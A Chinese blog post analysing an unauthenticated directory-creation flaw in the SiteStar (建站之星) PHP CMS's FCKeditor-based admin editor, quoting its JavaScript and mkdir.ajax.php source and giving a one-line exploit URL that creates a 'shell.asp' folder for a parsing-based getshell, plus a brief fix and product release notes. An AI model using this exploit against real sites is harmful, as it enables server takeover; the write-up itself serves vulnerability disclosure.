建站之星php 漏洞,建站之星全版本后台通杀getshell的解析与解决方法

找到一个fck改的编辑器,准备用解析洞日之。

b_1_201803060200143569.jpg

然后发现无法这玩意直接过滤了“.”创建不了解析文件夹,

反复试了几次之后发现这个过滤是有延迟的。大概在0.1秒后 才会去掉。于是果断查看源码看函数:

复制代码代码如下:

function addsort(obj) {

$(obj).parent().find(‘span’).css(‘display’,'inline-block’);

$(obj).css(‘display’,'none’);

$(obj).parent().find(‘span > input:first’).focus();

}

function newdir(obj) {

var pth = $(obj).prev().attr(‘value’);

var basepth = $(‘#gtcurdir option:selected’).text();

if (pth.replace(/^\s+|\s+$/g,”).length == 0) { //这里对定义的pth变量进行了判断,(“/^\s+|\s+$/g,”),思路是 判断如果文本框内不算以上字符 长度等于0则继续执行.

alert(“请输入字符”);

$(obj).prev().focus();

return false;

} else {

$.ajax({

type : “get”,

datatype : “text”,

url : “../mkdir.ajax.php?basedir=”+basepth+”&newdir=”+pth,//这里直接发送url 基本类型+新文件夹名+文件夹名。

success : function(response) {

switch (response) {

case ’0′:

$(obj).prev().val(”);

$(obj).parent().css(‘display’,'none’);

$(obj).parent().parent().find(‘a’).css(‘display’,'inline-block’);

$(‘’+basepth+pth+’/’).appendto(‘#gtcurdir’);

break;

case ‘-1′:

alert(“文件夹已存在!”);

$(obj).prev().focus();

break;

case ‘-2′:

alert(“新建文件夹失败!”);

break;

}

},

error : function(response) {

alert(“请求失败!”);

return false;

}

});

}

看完函数 发现有一个很有意思的地方:

url : “../mkdir.ajax.php?basedir=”+basepth+”&newdir=”+pth,这里直接post出去命令。那么我们可否构造呢

于是查看了这个脚本的源码:

复制代码代码如下:

header(‘conten-type:text/html; charset=utf-8′);

define(‘ssfck’, str_replace(“\\”, “/”, dirname(__file__)));

$adminroot = str_replace(“\\”, “/”, substr(ssfck, 0, -10));

define(‘ssroot’, str_replace(“\\”, “/”, realpath($adminroot.”/..”)));

$err = ’0′;

$basedir = trim($_get['basedir']);//这里直接get来自前面那个urlpost来的变量

$newdir = trim($_get['newdir']);

// is or not exist dir

$hd = dir(“../../”.$basedir);

while(($path = $hd->read()) !== false) {

if ($path == $newdir) {

$err = ‘-1′;

break;

} else continue;

}

if ($err != ‘-1′) {

if (!mkdir(“../../{$basedir}{$newdir}”, 0755)) $err = ‘-2′;

}

echo $err;

?>

程序员果然天然呆,不验证登陆,这里不验证文件名,任凭urlpost任意信息。

到这里知道了程序漏洞所在。附上exp:

http:// /admin/fckeditor/mkdir.ajax.php?basedir=upload/image/&newdir=shell.asp

返回0则表示成功。

修复方案:

对mkdir.ajax.php加验证

如您对本文有疑问或者有任何想说的,请点击进行留言回复,万千网友为您解惑!

建站之星网站建设系统是一种全新的互联网应用模式,它一改过去传统的企业建站方式,不需企业编写任何程序或网页,无需学习任何相关语言,也不需第三方代写或管理网站,只需应用系统所提供的各种强大丰富的功能模块,即可轻松生成企业个性化的精美网站。 SiteStar V2.6版功能说明: 增加和改善功能 1、新增会员自定义注册项功能,方便各种网站用户注册表单需求。 2、新增QQ登录接口,可以使用qq帐号登陆网站。 3、新增站内短信/邮件群发功能,可以针对站内会员进行站内短信群发或者邮件群发,也可单独发送。 4、增强添加页面时可选择是否在新窗口打开。 5、增加banner、logo隐蔵按钮,同时也可以对隐蔵项进行恢复操作。 6、站点基本设置新增网站认证代码项,实现html代码方式的第三方网站在线认证。 7、增加2个多图banner效果。 8、增加模板颜色分类。   修复BUG 1、修复语言包文字错误。 2、修复后台内容编辑器上传图片在二级目录下不显示以及前台简介模块上传图片预览不显示。 3、修复数据库文件太大,无法进行备份与恢复。 4、修复后台产品管理中,复制所选产品或文章到其它语言时无法将简体语言自动转换成繁体。 5、修复只有一二条公告时,会出现重覆显示公告现象。 6、修复Flash幻灯模块,添加幻灯至最多,不上传图片保存后,再次编辑不能编辑更多项。 7、更新财付通支付接口。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值